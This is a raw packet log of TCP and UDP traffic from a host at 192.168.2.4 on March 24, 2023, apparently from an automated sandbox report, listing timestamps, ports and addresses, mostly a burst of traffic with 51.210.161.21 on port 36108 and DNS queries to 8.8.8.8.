Mar 24, 2023 01:27:24.158091068 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:24.158106089 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:24.158152103 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:24.158185959 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:27.025561094 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:40.720774889 CET	49733	443	192.168.2.4	144.76.136.153
Mar 24, 2023 01:27:40.720869064 CET	443	49733	144.76.136.153	192.168.2.4
Mar 24, 2023 01:27:45.521965981 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:27:45.549686909 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:27:45.550071001 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:27:46.146671057 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:27:46.174627066 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:27:46.369802952 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:27:48.314270973 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:27:48.342926979 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:27:48.385509014 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:02.563690901 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:02.594963074 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:02.595033884 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:02.595083952 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:02.605802059 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.382569075 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.410784960 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.436693907 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.465331078 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.470453978 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.499794960 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.501375914 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.530512094 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.533127069 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.560998917 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.565521002 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.593570948 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.627451897 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.655599117 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.702130079 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.772032022 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.799643993 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.799827099 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.799828053 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.799873114 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.799969912 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.800175905 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.800224066 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.800323009 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.800378084 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.827261925 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.827447891 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.827485085 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.827614069 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.827621937 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.827614069 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.827744007 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.827883005 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.827970028 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.828144073 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.828152895 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.828145027 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.828376055 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.828517914 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.829171896 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.855097055 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.855143070 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.855175972 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.855263948 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.855263948 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.855365038 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.855412006 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.855443954 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.855489016 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.855629921 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.855730057 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.855853081 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.855989933 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.856164932 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.856178045 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.856408119 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.856535912 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.856594086 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.856734037 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.856847048 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.856889963 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.857198000 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.857321978 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.857386112 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.882687092 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.882770061 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.882894993 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.883075953 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.883254051 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.883421898 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.883574963 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.883733034 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.883960009 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.884125948 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.884290934 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.884419918 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.884574890 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.884700060 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.884778023 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.884865999 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.885006905 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.885147095 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.885318995 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.885457039 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.885610104 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.885759115 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.885945082 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.886126041 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.886312008 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.886502028 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.886635065 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.886820078 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.886970997 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.887449026 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.887566090 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.912225008 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.912357092 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.912545919 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.912749052 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.912868977 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.913072109 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.913255930 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.913373947 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.913758993 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.913916111 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.914060116 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.914216042 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.914376020 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.914570093 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.914761066 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.914952040 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.915102959 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.915235043 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.915432930 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.915611982 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.915757895 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.915890932 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.915941954 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.916054010 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.916169882 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.916261911 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.916425943 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.916655064 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.916810036 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.916997910 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.917136908 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.917308092 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.917444944 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.917643070 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.917793036 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.918014050 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.918126106 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.918360949 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.920819044 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.920967102 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.943463087 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.943523884 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.943697929 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.943809986 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.944017887 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.944170952 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.944355965 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.944534063 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.944706917 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.944849014 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.945008039 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.945214987 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.945369005 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.945533037 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.945729971 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.945872068 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.946063995 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.946192980 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.946350098 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.946510077 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.948229074 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.948551893 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.948568106 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.948581934 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.948668003 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.948765993 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.948856115 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.949141026 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.949230909 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.949410915 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.949547052 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.949757099 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.949913025 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.950068951 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.950285912 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.950429916 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.950599909 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.950769901 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.951134920 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.951212883 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.975904942 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.975930929 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.976159096 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.976306915 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.976489067 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.976613998 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.976834059 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.977032900 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.977188110 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.977535009 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.977677107 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.978513002 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.978656054 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.978805065 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.978982925 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.979145050 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.979289055 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.979479074 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:10.979764938 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:10.979873896 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:11.005614996 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.005655050 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.005682945 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.005700111 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.005717039 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.005733013 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.005805969 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.006019115 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.006546021 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.007628918 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.007662058 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.007694006 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.007729053 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.007762909 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.007795095 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.007826090 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.007858038 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.007889986 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.007922888 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.007973909 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:11.008052111 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.008126020 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:11.008444071 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.009558916 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.009591103 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.009622097 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.009913921 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:11.041582108 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.041620016 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.041654110 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.041686058 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.041718960 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.041750908 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.041781902 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.041815996 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.041848898 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.041879892 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.041912079 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.041944981 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.042566061 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.042898893 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.042932987 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.042965889 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.042998075 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.043029070 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.043061972 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.043095112 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.043128967 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.043162107 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.043181896 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.043201923 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.043220997 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.044306993 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.053819895 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:11.081365108 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.082721949 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.084289074 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:11.112163067 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.118752003 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:11.146647930 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.146800041 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.146960974 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.147481918 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.202166080 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:11.301676035 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:11.329772949 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.333827019 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:11.361664057 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.405364037 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:11.427436113 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:11.455202103 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.455260038 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.455295086 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.455328941 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.455457926 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.456013918 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.468257904 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:11.496414900 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.545964003 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:11.723942995 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:11.752490044 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.786520958 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:11.815296888 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.858468056 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:11.862926960 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:11.890816927 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.891295910 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:11.919200897 CET	36108	49743	51.210.161.21	192.168.2.4
Mar 24, 2023 01:28:11.927725077 CET	49743	36108	192.168.2.4	51.210.161.21
Mar 24, 2023 01:28:12.530536890 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:28:12.586093903 CET	80	49726	91.227.16.21	192.168.2.4
Mar 24, 2023 01:28:12.586304903 CET	49726	80	192.168.2.4	91.227.16.21
Mar 24, 2023 01:28:19.040106058 CET	80	49728	208.95.112.1	192.168.2.4
Mar 24, 2023 01:28:22.803978920 CET	80	49730	84.252.73.140	192.168.2.4
Mar 24, 2023 01:28:22.804131985 CET	49730	80	192.168.2.4	84.252.73.140
Mar 24, 2023 01:28:22.925014973 CET	80	49732	144.76.136.153	192.168.2.4
Mar 24, 2023 01:28:22.925095081 CET	49732	80	192.168.2.4	144.76.136.153

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 24, 2023 01:26:41.681066036 CET	56572	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:26:41.937695026 CET	53	56572	8.8.8.8	192.168.2.4
Mar 24, 2023 01:26:43.588916063 CET	50911	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:26:44.116292953 CET	53	50911	8.8.8.8	192.168.2.4
Mar 24, 2023 01:26:45.724459887 CET	59683	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:26:46.133212090 CET	53	59683	8.8.8.8	192.168.2.4
Mar 24, 2023 01:26:47.673192978 CET	64167	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:26:47.702385902 CET	53	64167	8.8.8.8	192.168.2.4
Mar 24, 2023 01:26:48.020807981 CET	58565	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:26:48.412786961 CET	53	58565	8.8.8.8	192.168.2.4
Mar 24, 2023 01:26:48.626979113 CET	52239	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:26:48.656333923 CET	53	52239	8.8.8.8	192.168.2.4
Mar 24, 2023 01:26:49.912940979 CET	56807	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:26:49.929610968 CET	53	56807	8.8.8.8	192.168.2.4
Mar 24, 2023 01:26:50.163022995 CET	61007	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:26:50.192181110 CET	53	61007	8.8.8.8	192.168.2.4
Mar 24, 2023 01:26:50.444092035 CET	60686	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:26:50.472621918 CET	53	60686	8.8.8.8	192.168.2.4
Mar 24, 2023 01:26:53.609833002 CET	61124	53	192.168.2.4	8.8.8.8
Mar 24, 2023 01:26:53.638911009 CET	53	61124	8.8.8.8	192.168.2.4
